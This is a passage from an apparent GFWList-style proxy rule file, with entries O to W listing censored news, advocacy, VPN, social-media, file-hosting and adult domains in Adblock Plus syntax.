e.live.com\\n|http://www.onion.city\\n.onlylady.cn\\nonmoon.net\\nonmoon.com\\n!--Sorry but we are confused as well\\n||ontrac.com\\n.oopsforum.com\\nopen.com.hk\\nopendemocracy.net\\nmyopenid.com\\n||myopenid.com\\nopenid.net\\n||openid.net\\n||blog.openinkpot.org\\n.openleaks.org\\n||openleaks.org\\nopenvpn.net\\n||openvpn.net\\n||openwebster.com\\n|http://help.opera.com\\nmy.opera.com/dahema\\n||demo.opera-mini.net\\nwww.orchidbbs.com\\norganharvestinvestigation.net\\n||orient-doll.com\\norientaldaily.com.my\\n||orientaldaily.com.my\\n!--orientaldaily.on.cc\\n||orn.jp\\nt.orzdream.com\\n||t.orzdream.com\\ntui.orzdream.com\\n||orzistic.org\\n||osfoora.com\\n|http://www.osmdroid.net\\n||ourdearamy.com\\noursogo.com\\noursteps.com.au\\nxinqimeng.over-blog.com\\nshare.ovi.com/media\\n|http://owl.li\\n|http://ht.ly\\n|http://htl.li\\n|http://mash.to\\nwww.owind.com\\n|http://www.oxid.it\\noyax.com\\n.ozchinese.com/bbs\\n||ow.ly\\nbbs.ozchinese.com\\n.ozyoyo.com\\n\\n!--------------------PP--------------------\\n.pacificpoker.com\\n.packetix.net\\n.padmanet.com\\npage2rss.com\\n||pagodabox.com\\n\\n!--Godaddy Free Hosting\\n||paint.net\\n||coveringweb.com\\n.palacemoon.com\\nforum.palmislife.com\\n||eriversoft.com\\npaljorpublications.com\\npaper.li\\npaperb.us\\n.panluan.net\\n||panluan.net\\n||pao-pao.net\\n.parade.com/dictators/2009\\n.passion.com\\n||passion.com\\n.passiontimes.hk\\npastebin.com\\n.pastie.org\\n||pastie.org\\n||blog.pathtosharepoint.com\\npbs.org/wgbh/pages/frontline/gate\\npbs.org/wgbh/pages/frontline/tankman\\npbs.org/wgbh/pages/frontline/tibet\\n\\n!--Pbwiki\\npbwiki.com\\n||pbworks.com\\n||developers.box.net\\n||wiki.oauth.net\\n||wiki.phonegap.com\\n||wiki.jqueryui.com\\n\\n||pbxes.com\\n||pbxes.org\\n.pcdiscuss.com\\npcdvd.com.tw\\n.pchome.com.tw\\n|http://pcij.org/\\n||pct.org.tw\\npdetails.com\\n||pdproxy.com\\n||peace.ca\\npeacefire.org\\npeacehall.com\\n|http://pearlher.org\\n.peeasian.com\\n.pekingduck.org\\n||pekingduck.org\\n||pen.io\\npenchinese.com\\n||penchinese.net\\n.penchinese.net\\npengyulong.com\\n||blog.pentalogic.net\\n.penthouse.com\\n.peopo.org\\n||peopo.org\\n.percy.in\\n.perfectgirls.net\\nperfectvpn.net\\n.persecutionblog.com\\nphayul.com\\nphilly.com\\n||phncdn.com\\n||photodharma.net\\n||photofocus.com\\n||phuquocservices.com\\n.picidae.net\\n||img*.picturedip.com\\npicturesocial.com\\n.pin6.com\\n||pin6.com\\n.ping.fm\\n||ping.fm\\n||pinoy-n.com\\n.piposay.com\\n.piring.com\\n||pixelqi.com\\n||css.pixnet.in\\n||pixnet.net\\n.pixnet.net\\n.pk.com\\n||placemix.com\\n!--.planetsuzy.org\\n|http://pictures.playboy.com\\n||playboy.com\\n||playpcesor.com\\nplays.com.tw\\n||m.plixi.com\\nplm.org.hk\\nplunder.com\\n.plus28.com\\n.plusbb.com\\n.pmates.com\\n||po2b.com\\n||pocoo.org\\n||podictionary.com\\n.pokerstars.com\\n||pokerstars.com\\nzh.pokerstrategy.com\\npoliticalchina.org\\npoliticalconsultation.org\\n!--||popularpages.net\\n||popvote.hk\\npopyard.com\\n||popyard.org\\n.porn.com\\n.porn2.com\\n.pornbase.org\\n||pornhd.com\\n.pornhub.com\\n||pornmm.net\\n.pornoxo.com\\n.pornrapidshare.com\\n||pornrapidshare.com\\n.pornstarclub.com\\n.porntube.com\\n.pornvisit.com\\n.portablevpn.nl\\n.post852.com\\npostadult.com\\n||powercx.com\\n||www.powerpointninja.com\\n||cdn.printfriendly.com\\n||pts.org.tw\\npubu.com.tw\\npuffinbrowser.com\\npureinsight.org\\n||putty.org\\n\\n!-------------Posterous-----\\n|http://post.ly\\n.posterous.com\\n|http://posterous.com\\n||post.anyu.org\\n||bralio.com\\n||calebelston.com\\n!-||blog.dabr.co.uk\\n||designerol.com\\n||blog.fizzik.com\\n||nf.id.au\\n||markmilian.com\\n||log.riku.me\\n||sogrady.me\\n||vatn.org\\n||veempiire.com\\n||www.vegorpedersen.com\\n||ventureswell.com\\n||webfee.tk\\n||whereiswerner.com\\n||bill.zhong.pp.ru\\n\\n.power.com\\n||power.com\\npowerapple.com\\n||abc.pp.ru\\nheix.pp.ru\\n||prayforchina.net\\n||premeforwindows7.com\\n||presentationzen.com\\n||prestige-av.com\\nprisoner-state-secret-journal-premier\\n.prisoneralert.com\\n||pritunl.com\\n||privacybox.de\\n||privateinternetaccess.com\\nprivatepaste.com\\n||privatepaste.com\\nprivatetunnel.com\\n||privatetunnel.com\\n||procopytips.com\\nprovideocoalition.com\\n||prosiben.de\\nproxifier.com\\napi.proxlet.com\\n||proxomitron.info\\nproxy.org\\n.proxypy.net\\n||proxypy.net\\nproxyroad.com\\nprozz.net\\npsblog.name\\n||psblog.name\\n||psiphon.ca\\n.ptt.cc\\n.puffstore.com\\n||pullfolio.com\\n||pureconcepts.net\\n||purepdf.com\\n||purevpn.com\\n.putlocker.com/file\\npwned.com\\npython.com\\n.python.com.tw\\n|http://python.com.tw\\n\\n!--------------------QQ--------------------\\n.qanote.com\\n||qanote.com\\nqi-gong.me\\n.qidian.ca\\n.qienkuen.org\\n||qienkuen.org\\n||qiwen.lu\\nqixianglu.cn\\nbbs.qmzdd.com\\n.qkshare.com\\nqoos.com\\n||qoos.com\\nblog.qooza.hk*dafengqixi\\n||efksoft.com\\n||qstatus.com\\n||qtweeter.com\\n||qtrac.eu\\n||quitccp.net\\n.quitccp.net\\n||quitccp.org\\n.quitccp.org\\n|http://quran.com\\nqusi8.net\\n.qvodzy.org\\nnemesis2.qx.net*pages*MyEnTunnel\\nqxbbs.org\\n\\n!--------------------RR--------------------\\n.ra.gg\\n|http://ra.gg/\\n.radicalparty.org\\nradioaustralia.net.au\\n.radiohilight.net\\n||radiohilight.net\\nopml.radiotime.com\\n||radiovaticana.org\\n||radiovncr.com\\n||raidcall.com.tw\\n.raidtalk.com.tw\\nrangzen.com\\nrangzen.net\\nrangzen.org\\n|http://blog.ranxiang.com/\\nranyunfei.com\\n||ranyunfei.com\\n.rapbull.net\\n|http://rapidgator.net/\\n!-.rapidshare.com\\n!-|http://rapidshare.com\\n||rapidshare8.com\\n.rapidsharedata.com\\n.raremovie.cc\\n|http://raremovie.cc\\n.raremovie.net\\n|http://raremovie.net\\n!--.rayfme.com/bbs\\nrcinet.ca\\n.read100.com\\n.readingtimes.com.tw\\n||readingtimes.com.tw\\n||readmoo.com\\n.realcourage.org\\n.realraptalk.com\\n.recordhistory.org\\nredchinacn.org\\n.redtube.com\\nreferer.us\\n||referer.us\\n||reflectivecode.com\\nrelaxbbs.com\\n.releaseinternational.org\\nreligioustolerance.org\\nrenminbao.com\\n.renyurenquan.org\\n||renyurenquan.org\\n|http://certificate.revocationcheck.com\\nsubacme.rerouted.org\\n.reuters.com\\n.revleft.com\\nretweetist.com\\n||retweetrank.com\\n!--connectedchina.reuters.com\\n!--|http://www.reuters.com/news/video\\nrevver.com\\n.rfa.org\\n|http://rfa.org\\n.rfachina.com\\n.rfamobile.org\\n||rferl.org\\n.rfi.fr\\n||rfi.fr\\n|http://rfi.my/\\n.rhcloud.com\\n!--Edgecast\\n|http://vds.rightster.com/\\n.rileyguide.com\\nriku.me/\\n.ritouki.jp\\n.rlwlw.com\\n||rlwlw.com\\n.rmjdw.com\\nchinese.rnw.nl\\n.rnw.nl\\nrobtex.com\\n||robustnessiskey.com\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=5mus\\n|http://www2.rocketbbs.com/11/bbs.cgi?id=freemgl\\n||rocmp.org\\n||rojo.com\\n||ronjoneswriter.com\\n.roodo.com\\n.rosechina.net\\n.rotten.com\\n.rsf.org\\n||rsf.org\\n.rsf-chinese.org\\n||rsf-chinese.org\\n.rssmeme.com\\n||rssmeme.com\\n.rthk.hk\\n|http://rthk.hk\\n.rthk.org.hk\\n|http://rthk.org.hk\\nrti.org.tw\\n.ruanyifeng.com/blog*some_ways_to_break_the_great_firewall\\n.rushbee.com\\nrutube.ru\\n.ruyiseek.com\\n.rxhj.net\\n|http://rxhj.net\\n\\n!--------------------SS--------------------\\n||s-cute.com\\n.s-dragon.org\\n||s1heng.com\\n|http://www.s4miniarchive.com\\n||s8forum.com\\nsacom.hk\\n||sacom.hk\\n||sadpanda.us\\n.saiq.me\\n||saiq.me\\n||sakuralive.com\\n.salvation.org.hk\\n||salvation.org.hk\\n.samair.ru/proxy/type-01\\n.sambhota.org\\nsammyjs.org\\n||sankaizok.com\\n.sanmin.com.tw\\nsapikachu.net\\nsavemedia.com\\nsavetibet.de\\nsavetibet.fr\\nsavetibet.nl\\nsavetibet.org\\nsavetibet.ru\\nsavevid.com\\n||say2.info\\n|http://www.sciencemag.org/content/344/6187/953\\n.scmp.com\\n.scmpchinese.com\\n.scribd.com\\n||scriptspot.com\\nseapuff.com\\ndomainhelp.search.com\\nsecretchina.com\\n||secretgarden.no\\n||default.secureserver.net\\nsecuritykiss.com\\nseesmic.com\\n||seevpn.com\\n||seezone.net\\nsejie.com\\n.sendspace.com\\n|http://tweets.seraph.me/\\nsesawe.net\\n||sesawe.net\\n.sesawe.org\\n||sethwklein.net\\nforum.setty.com.tw\\n.sevenload.com\\n||sevenload.com\\n.sex.com\\n.sex-11.com\\n||sex3.com\\n||sex8.cc\\n.sexandsubmission.com\\n.sexhu.com\\n.sexhuang.com\\nsexinsex.net\\n||sexinsex.net\\n!--IP of SexInSex\\n67.220.91.18\\n67.220.91.23\\n|http://*.sf.net\\n.sfileydy.com\\n.sftuk.org\\n||sftuk.org\\nshadow.ma\\n.shadowsocks.org\\n||shadowsocks.org\\nshahamat-english.com\\n.shangfang.org\\n||shangfang.org\\nshapeservices.com\\n.sharebee.com\\n||sharecool.org\\n!--||sharkdolphin.com\\nsharpdaily.com.hk\\n||sharpdaily.com.hk\\n.sharpdaily.hk\\n.sharpdaily.tw\\n.shat-tibet.com\\nsheikyermami.com\\n.shenshou.org\\nshenyun.com\\nshenyunperformingarts.org\\nshenzhoufilm.com\\n||shenzhoufilm.com\\nshinychan.com\\n.shitaotv.org\\n||shixiao.org\\n||shizhao.org\\n.shizhao.org\\nshkspr.mobi/dabr\\n||shodanhq.com\\n.shopping.com\\n.showtime.jp\\nch.shvoong.com\\n.shwchurch3.com\\n|http://shwchurch3.com\\n||sidelinesnews.com\\n.sidelinessportseatery.com\\nsimplecd.org\\n||simplecd.org\\n@@||simplecd.me\\nsimpleproductivityblog.com\\nbbs.sina.com/\\nbbs.sina.com%2F\\nblog.sina.com.tw\\ndailynews.sina.com/\\ndailynews.sina.com%2F\\nforum.sina.com.hk\\nhome.sina.com\\n||magazines.sina.com.tw\\nnews.sina.com.hk\\nnews.sina.com.tw\\n|http://news.sinchew.com.my\\n.singaporepools.com.sg\\n||singaporepools.com.sg\\nsingtao.com\\n||singtao.com\\nnews.singtao.ca\\n!--||cdp.sinica.edu.tw\\nsino-monthly.com\\n||sinocast.com\\nsinocism.com\\nsinomontreal.ca\\n.sinonet.ca\\n.sinopitt.info\\n.sinoants.com\\n||sinoants.com\\nsinoquebec.com\\n||site90.net\\n.sitebro.tw\\n||sitekreator.com\\n||siteks.uk.to\\n||sitemaps.org\\nsitetag.us\\nsis.xxx\\n||sis001.com\\nsis001.us\\n||sjum.cn/\\n||skimtube.com\\n||skybet.com\\n|http://users.skynet.be/reves/tibethome.html\\n|http://skyhighpremium.com/\\nbbs.skykiwi.com\\n|http://www.skype.com/intl/\\n|http://www.skype.com/zh-Hant\\n||skyvegas.com\\n.xskywalker.com\\n||xskywalker.com\\nm.slandr.net\\n||slavasoft.com\\n||slheng.com\\n.slideshare.net\\nforum.slime.com.tw\\n.slinkset.com\\n||slickvpn.com\\n.slutload.com\\nsmhric.org\\n!--TODO-no-homepage\\n||snapchat.com\\n.snaptu.com\\n||snaptu.com\\n||sndcdn.com\\nsneakme.net\\n||snooper.co.uk\\nsnowlionpub.com\\n||so-ga.net\\n.so-ga.net\\n||so-news.com\\n.so-news.com\\nhome.so-net.net.tw/yisa_tsai\\n||soc.mil/\\n||sockslist.net\\n.sod.co.jp\\n.softether.org\\n||softether.org\\n.softether-download.com\\n||softether-download.com\\n||cdn.softlayer.net\\n||sogclub.com\\nsohcradio.com\\n||sohcradio.com\\n||www.somee.com\\n||sorting-algorithms.com\\n.soumo.info\\n||soup.io/\\n@@||static.soup.io\\n.sobees.com\\n||sobees.com\\nsocialwhale.com\\n.softether.co.jp\\n||softwarebychuck.com\\nblog.sogoo.org\\nsoh.tw\\n||soh.tw\\nsohfrance.org\\n||sohfrance.org\\nchinese.soifind.com\\nsokamonline.com\\n||somee.com\\n.songjianjun.com\\n||songjianjun.com\\n.sonidodelaesperanza.org\\n.sopcast.com\\n.sopcast.org\\n.soul-plus.net\\n||soundcloud.com\\n!--|https://soundcloud.com/punkgod\\n.soundofhope.kr\\nsoundofhope.org\\n||soundofhope.org\\n||soupofmedia.com\\n.sourceforge.net\\n!-|http://sourceforge.net\\n|http://sourceforge.net/p*/shadowsocksgui/\\nsouthnews.com.tw\\nsowers.org.hk\\n||wlx.sowiki.net\\n||space-scape.com\\n||spankbang.com\\n.spankwire.com\\n||spb.com\\n||speakerdeck.com\\n||spencertipping.com\\nspinejs.com\\n||sproutcore.com\\n||sproxy.info\\nsquarespace.com\\n||ssh91.com\\n!--|http://cdn.sstatic.net/\\nwww.stackfile.com/freedur\\n|http://stackoverflow.com/users/895245\\n.stage64.hk\\n||stage64.hk\\n||standupfortibet.org\\nstanford.edu/group/falun\\nusinfo.state.gov\\n.starp2p.com\\n||starp2p.com\\n.startpage.com\\n||startpage.com\\n.state168.com\\n||steel-storm.com\\n||stepmania.com\\nsthoo.com\\n||sthoo.com\\n.stickam.com\\nstickeraction.com/sesawe\\n||stoneip.info\\n||storagenewsletter.com\\n.storm.mg\\n||storm.mg\\n.stoptibetcrisis.net\\n||stoptibetcrisis.net\\n||storify.com\\n||stoweboyd.com\\n||streamingthe.net\\ncn.streetvoice.com/article\\ncn.streetvoice.com/diary\\ncn2.streetvoice.com\\ntw.streetvoice.com\\n||strongvpn.com\\n.student.tw/db\\n||studentsforafreetibet.org\\n||stumbleupon.com\\nstupidvideos.com\\n.sugarsync.com\\n||sugarsync.com\\nsummify.com\\nsun1911.com\\n.sunporno.com\\n||sunporno.com\\n.surfeasy.com\\n||surfeasy.com\\n.suyangg.com\\n|http://suyangg.com/\\n.suoluo.org\\napi.supertweet.net\\nwww.supertweet.net\\n.surfeasy.com.au\\n||surrenderat20.net\\n||svwind.com\\n||sweux.com\\n||swift-tools.net\\n.sydneytoday.com\\n.sylfoundation.org\\n||syncback.com\\n||sysadmin1138.net\\nsysresccd.org\\n.sytes.net\\nblog.syx86.com/2009/09/puff\\nblog.syx86.cn/2009/09/puff\\n.szbbs.net\\n||szetowah.org.hk\\n\\n!--------------------------TT--------------------------\\n.t35.com\\n.t66y.com\\n||t66y.com\\n||t88.ca\\n.taa-usa.org\\n|http://taa-usa.org\\n|http://www.tablesgenerator.com/\\ntabtter.jp\\n.tacem.org\\n||tafaward.com\\ntagwalk.com\\n||tagwalk.com\\ntahr.org.tw\\ntaipei.gov.tw\\n.taipeisociety.org\\n||taipeisociety.org\\n.taiwandaily.net\\n||taiwantt.org.tw\\n||taiwandaily.net\\ntaiwankiss.com\\ntaiwannation.com\\ntaiwannation.com.tw\\n||taiwannews.com.tw\\n|http://www.taiwanonline.cc/\\ntaiwantp.net\\ntaiwanus.net\\ntaiwanyes.com\\ntaiwan-sex.com\\n.talk853.com\\n.talkboxapp.com\\n||talkboxapp.com\\n||tamiaode.tk\\n||tanc.org\\ntangben.com\\n.taolun.info\\n||taolun.info\\nblog.taragana.com\\n||taup.net\\n|http://www.taup.org.tw\\n.taweet.com\\n||taweet.com\\n||tbpic.info\\n||tbsec.org\\n||tbsn.org\\n.tbsseattle.org\\n.tccwonline.org\\n.tcewf.org\\ntchrd.org\\n||techlifeweb.com\\n!--technorati.com\\n||techparaiso.com\\n||teck.in\\nteensinasia.com\\n.telecomspace.com\\n||telegram.org\\n||telegraph.co.uk\\n.tenacy.com\\n.tew.org\\n||theatrum-belli.com\\n||thebodyshop-usa.com\\ntheblemish.com\\n||thebcomplex.com\\n||thebobs.com\\n.thechinabeat.org\\n|http://www.thechinastory.org/yearbooks/yearbook-2012/\\n||thedieline.com\\n||thedw.us\\nthefrontier.hk/tf\\n!--||thegatesnotes.com\\n|http://thegioitinhoc.vn/\\n.thehots.info\\nthehousenews.com\\n||thehun.net\\n.theinitium.com\\n||theinitium.com\\n||thelifeyoucansave.com\\n.thenewslens.com\\nthepiratebay.org\\n!--||thepiratebay.se\\nthereallove.kr\\n||thesartorialist.com\\nthespeeder.com\\n||thestandnews.com\\nthetibetconnection.org\\n.thetibetmuseum.org\\n||thetibetpost.com\\nthetrotskymovie.com/\\nthevivekspot.com\\n||thewgo.org\\n.thinkingtaiwan.com\\n.thisav.com\\n|http://thisav.com\\n||thomasbernhard.org\\nthreatchaos.com\\n||throughnightsfire.com\\n.thumbzilla.com\\n||thywords.com\\ntiananmenmother.org\\n||tiananmenuniv.com\\n||tiananmenuniv.net\\n||tiandixing.org\\n.tianhuayuan.com\\n.tianlawoffice.com\\ntiantibooks.org\\n.tianzhu.org\\n.tibet.at\\ntibet.ca\\n.tibet.com\\n||tibet.com\\ntibet.fr\\n.tibet.net\\n||tibet.net\\ntibet.nu\\n.tibet.org\\n||tibet.org\\ntibet.org.tw\\n.tibet-foundation.org\\n.tibet-house-trust.co.uk\\ntibet-info.net\\ntibet-initiative.de\\n||tibet-initiative.de\\n.tibet-munich.de\\n.tibetaid.org\\ntibetalk.com\\ntibetan-alliance.org\\n.tibetanarts.org\\n.tibetcollection.com\\ntibetanculture.org\\n.tibetanpaintings.com\\n.tibetanphotoproject.com\\n.tibetanwomen.org\\n|http://tibetanwomen.org\\n.tibetanyouthcongress.org\\n||tibetanyouthcongress.org\\n.tibetcharity.dk\\ntibetcharity.in\\n.tibetcity.com\\n.tibetcorps.org\\ntibetfocus.com\\ntibetfund.org\\ntibethouse.jp\\ntibethouse.org\\n||tibethouse.us\\ntibettimes.net\\n.tibetjustice.org\\n|http://tibetmuseum.org\\ntibetnetwork.org\\n||tibetnetwork.org\\n.tibetoffice.ch\\n|http://tibetoffice.ch\\ntibetoffice.org\\ntibetonline.com\\n||tibetonline.com\\n.tibetoffice.com.au\\n|http://tibetoffice.com.au\\n||tibetonline.tv\\n.tibetonline.tv\\n.tibetoralhistory.org\\n.tibetrelieffund.co.uk\\ntibetsites.com\\n.tibetsun.com\\n||tibetwrites.org\\n.time.com/time/time100/leaders/profile/rebel\\n.time.com/time/specials/packages/article/0,28804\\n.time.com/time/magazine\\n||blog.tiney.com\\n.tiny.cc\\n|http://tiny.cc\\ntinychat.com\\n||tinypaste.com\\n.tistory.com\\n||tkcs-collins.com\\n||tkforum.tk\\n.tmagazine.com\\n||tmagazine.com\\n|http://tmi.me\\n.tnaflix.com\\n||tnaflix.com\\n.tnp.org\\n|http://tnp.org\\ntogetter.com\\n.tokyo-247.com\\ntokyo-hot.com\\n||tokyocn.com\\ntw.tomonews.net\\n.tono-oka.jp\\ntonyyan.net\\n.toodoc.com\\ntoonel.net\\n.topnews.in\\n||topshare.us\\n.topshareware.com\\n||topstyle4.com\\n||topsy.com\\n.topsy.com\\n||toptip.ca\\ntora.to\\n.torproject.org\\n||torproject.org\\ntorrentcrazy.com\\n||torrentcrazy.com\\n||torrentproject.se\\n||torrentz.eu\\n||torvpn.com\\ntouch99.com\\n||toutfr.com\\n.tpi.org.tw\\n||tpi.org.tw\\n||transgressionism.org\\n||transparency.org\\n||travelinlocal.com\\n||treemall.com.tw\\ntrendsmap.com\\n||trendsmap.com\\n.trialofccp.org\\n||trialofccp.org\\n||tripod.com\\n@@||www.tripod.com\\n.trouw.nl\\n.trt.net.tr\\ntrtc.com.tw\\ntrulyergonomic.com\\n||trustedbi.com\\n.truth101.co.tv\\n|http://truth101.co.tv\\n||truthcn.com\\n.truveo.com\\n.tsemtulku.com\\ntsquare.tv\\n.tsu.org.tw\\ntsunagarumon.com\\n|http://www.tsuru-bird.net/\\n.tsctv.net\\n||tt-rss.org\\n||tt1069.com\\n||tttan.com\\n.tttan.com\\nbb.ttv.com.tw/bb\\ntu8964.com\\n.tuanzt.com\\n.tube.com\\ntube8.com\\n||tube8.com\\n.tube911.com\\n||tube911.com\\ntubecao.com\\n||tubewolf.com\\ntuidang.net\\ntuidang.org\\nbbs.tuitui.info\\n||tumutanzi.com\\n.tunein.com\\n|http://tunein.com\\n||tunnelbear.com\\n.tuo8.hk\\n.tuo8.org\\n||tuo8.org\\n.turbobit.net\\n|http://turbobit.net\\n||turningtorso.com\\n||tuxtraining.com\\n|http://tuzaijidi.com\\n|http://*.tuzaijidi.com\\n.tw01.org\\n|http://tw01.org\\n\\n!-------------Tumblr-----\\n!--||tumblr.com\\n!--@@||assets.tumblr.com\\n!--@@||data.tumblr.com\\n!--@@||media.tumblr.com\\n!--@@||static.tumblr.com\\n!--@@||www.tumblr.com\\n||fqrouter.tumblr.com\\n\\n.tv.com\\n||www.tv.com\\n|http://tv.com\\n||tv-intros.com\\ntvants.com\\nforum.tvb.com/\\nnews.tvb.com/list/world\\ntvboxnow.com\\ntvider.com\\n||tvunetworks.com\\n.tw-npo.org\\ntwapperkeeper.com\\n||twapperkeeper.com\\n||twaud.io\\n.twaud.io\\n.twbbs.net.tw\\ntwbbs.org\\ntwbbs.tw\\n||twblogger.com\\ntweepmag.com\\n.tweepml.org\\n||tweepml.org\\n.tweetbackup.com\\n||tweetbackup.com\\ntweetboard.com\\n||tweetboard.com\\n.tweetboner.biz\\n||tweetboner.biz\\n.tweetdeck.com\\n||tweetdeck.com\\n|http://deck.ly\\n!-- Operation discontinued\\n!--||tweete.net\\n!--m.tweete.net\\n||mtw.tl\\n||tweetedtimes.com\\n!-- Operation discontinued\\n!--tweetmeme.com\\n||tweetmylast.fm\\ntweetphoto.com\\n||tweetphoto.com\\n||tweetrans.com\\ntweetree.com\\n||tweetree.com\\n||tweetwally.com\\ntweetymail.com\\n||twftp.org\\ntwibase.com\\n.twibble.de\\n||twibble.de\\ntwibbon.com\\n||twibs.com\\ntwicsy.com\\n.twifan.com\\n|http://twifan.com\\ntwiffo.com\\n||twiffo.com\\ntwilog.org\\ntwimbow.com\\n||twimbow.com\\n||twindexx.com\\ntwipple.jp\\n||twipple.jp\\n||twip.me/\\ntwistar.cc\\n||twister.net.co\\n||twisterio.com\\ntwisternow.com\\ntwistory.net\\ntwitbrowser.net\\n||twitcause.com\\n||twitgether.com\\n||twiggit.org\\ntwitgoo.com\\ntwitiq.com\\n||twitiq.com\\n.twitlonger.com\\n||twitlonger.com\\n|http://tl.gd/\\ntwitoaster.com\\n||twitoaster.com\\n||twitonmsn.com\\n.twitpic.com\\n||twitpic.com\\n!--Same IP\\n.twit2d.com\\n||twit2d.com\\n.twitstat.com\\n||twitstat.com\\n||firstfivefollowers.com\\n||retweeteffect.com\\n||tweeplike.me\\n||tweepguide.com\\n||turbotwitter.com\\n.twitvid.com\\n||twitvid.com\\n\\n199.59.148.20\\n||t.co\\n.t.co\\n|http://twt.tl\\ntwittbot.net\\ntwitter.com\\n||twitter.com\\n||twitter.jp\\n||twttr.com\\n/^https?:\\\\/\\\\/[^\\\\/]+twitter\\\\.com/\\n\\n||twitter4j.org\\n.twittercounter.com\\n||twittercounter.com\\ntwitterfeed.com\\n.twittergadget.com\\n||twittergadget.com\\n.twitterkr.com\\n||twitterkr.com\\n||twittermail.com\\ntwittertim.es\\n||twittertim.es\\ntwitthat.com\\n||twitturk.com\\n.twitturly.com\\n||twitturly.com\\n.twitzap.com\\ntwiyia.com\\n||twstar.net\\n\\n.twtkr.com\\n|http://twtkr.com\\n||twimg.com\\ntwtrland.com\\ntwurl.nl\\n.twyac.org\\n||twyac.org\\n.tycool.com\\n||tycool.com\\n||tzangms.com\\n\\n!--typepad\\n||typepad.com\\n@@||www.typepad.com\\n@@||static.typepad.com\\n||blog.expofutures.com\\n||legaltech.law.com\\n||latimesblogs.latimes.com\\n||blog.palm.com\\n||blogs.tampabay.com\\n||contests.twilio.com\\n!-lawprofessors.typepad.com/china_law_prof\\n\\n!-------------Twitese-----\\nembr.in\\n||embr.in\\nguomin.us/login\\n\\n!--------------------------UU--------------------------\\n||uberproxy.net\\n.srcf.ucam.org/salon/\\n||ucdc1998.org\\n|http://hum*.uchicago.edu/faculty/ywang/history\\n||uderzo.it\\n||udn.com\\n.udn.com\\n||uforadio.com.tw\\nufreevpn.com\\n.ugo.com\\n||uhrp.org\\n.uighur.nl\\n||uighur.nl\\nuighurbiz.net\\n.ulike.net\\nukliferadio.co.uk\\n||ukliferadio.co.uk\\nultravpn.fr\\n||ultravpn.fr\\nultraxs.com\\numich.edu/~falun\\n||unblock.cn.com\\n||unblocksit.es\\nuncyclomedia.org\\nuncyclopedia.info\\n|http://uncyclopedia.tw\\n||unholyknight.com\\n.uni.cc\\nunicode.org\\n.unification.org.tw\\n.uniteddaily.com.my/index.php?\\n.unix100.com\\n||unknownspace.org\\nunpo.org\\n||uocn.org\\ntor.updatestar.com\\n.upholdjustice.org\\n.upload4u.info\\n|http://uploaded.net/file/\\n.uploaded.to/file\\n|http://uploaded.to/file\\n.uploadstation.com/file\\n.upwill.org\\nwww.urbanoutfitters.com\\nmyshare.url.com.tw/\\n||urlborg.com\\n||urlparser.com\\nus.to\\n||usacn.com\\nbeta.usejump.com\\n||usfk.mil\\n||usma.edu\\n||usmc.mil\\n|http://tarr.uspto.gov/\\n||tsdr.uspto.gov\\n.ustream.tv\\n||ustream.tv\\n||ustwrap.info\\nusus.cc\\n.uwants.com\\n.uwants.net\\n|http://uyghur-j.org\\n||uyghuramerican.org\\n.uyghurcanadiansociety.org\\n.uyghurensemble.co.uk\\n||uyghurcongress.org\\n.uyghurpen.org\\n.uyghurpress.com\\nuygur.org\\n|http://uymaarip.com/\\n\\n!--------------------------VV--------------------------\\n||v2dn.com\\n!--|http://cdn.v2ex.com\\n!--|http://v2ex.com\\n!--|http://www.v2ex.com\\n||vaayoo.com\\n.van698.com\\n.vanemu.cn\\n.vanilla-jp.com\\nvansky.com\\n||vcf-online.org\\n||vcfbuilder.org\\n.velkaepocha.sk\\n.venbbs.com\\n.venchina.com\\nveoh.com\\n.verizon.net\\n||verybs.com\\n.vft.com.tw\\n.viber.com\\nvideobam.com\\n||videobam.com\\n.videomega.tv\\n||videomega.tv\\n.videomo.com\\n||vidoemo.com\\nvideopediaworld.com\\n||viki.com\\nvimeo.com\\n||vimgolf.com\\n||vimperator.org\\n||vincnd.com\\n||vinniev.com\\n|http://www.lib.virginia.edu/area-studies/Tibet/tibet.html\\n|http://ny.visiontimes.com/\\n.vivatube.com\\n.vivthomas.com\\n||vivthomas.com\\n.vjmedia.com.hk\\n.vllcs.org\\n||vmixcore.com\\ncn.voa.mobi\\ntw.voa.mobi\\n.voachineseblog.com\\n||voachineseblog.com\\n!--voachineseblog.com/heqinglian\\nvoagd.com\\nvoacantonese.com\\n||voacantonese.com\\nvoachinese.com\\n||voachinese.com\\nvoatibetan.com\\n||voatibetan.com\\n.voanews.com\\nvocn.tv\\n.vot.org\\n||vot.org\\nwww.voy.com\\n||www.vpncup.com\\nvpnbook.com\\nvpnfire.com\\n.vpnforgame.net\\n||vpnforgame.net\\n||vpngate.jp\\n.vpngate.net\\n||vpngate.net\\n||vpnpop.com\\n||vpnpronet.com\\n||vpnreviewz.com\\n.vporn.com\\n||vporn.com\\n||vtunnel.com\\n\\n!--------------------------WW--------------------------\\n||w.org\\nlists.w3.org/archives/public\\n||w3schools.com\\n||waffle1999.com\\n.wahas.com\\n.waigaobu.com\\nwaikeung.org/php_wind\\n.waiwaier.com\\n|http://waiwaier.com\\nwallornot.org\\n||wallpapercasa.com\\n||www.wan-press.org\\n||wanderinghorse.net\\n||wangafu.net\\n||wangjinbo.org\\n.wangjinbo.org\\nwanglixiong.com\\nwangruoshui.net\\nwww.wangruowang.org\\nwant-daily.com\\nwapedia.mobi/zhsimp\\n||waselpro.com\\n.wattpad.com\\n||wattpad.com\\n.makzhou.warehouse333.com\\nwasheng.net\\n||watchmygf.net\\n||wav.tv\\n.wdf5.com\\n.wearn.com\\n||wearn.com\\n||hudatoriq.web.id\\n||web2project.net\\nwebbang.net\\nweblagu.com\\n||webmproject.org\\nwebs-tv.net\\n!--webshots.com\\nwebsitepulse.com/help/testtools.china-test.html\\n|http://www.websnapr.com\\nwebworkerdaily.com\\n.weekmag.info\\n||wefightcensorship.org\\n.wefong.com\\nweiboleak.com\\nweijingsheng.org\\n.weiming.info\\n||weiming.info\\nweiquanwang.org\\n|http://weisuo.ws\\n.wemigrate.org\\nwengewang.com\\n||wengewang.org\\n.wenhui.ch\\n|http://trans.wenweipo.com/gb/\\nwenxuecity.com\\n.wenyunchao.com\\n||wenyunchao.com\\nwestca.com\\n||westca.com\\n||westernwolves.com\\n.westkit.net\\n||westpoint.edu\\nwww.wet123.com\\n||wepn.info\\n.westernshugdensociety.org\\nwetpussygames.com\\n.wetplace.com\\nwexiaobo.org\\n||wexiaobo.org\\nwezhiyong.org\\n||wezone.net\\n.wforum.com\\n||wforum.com/\\n.whatblocked.com\\n||whatblocked.com\\n.whippedass.com\\n|http://who.is/\\nwhylover.com\\n||whyx.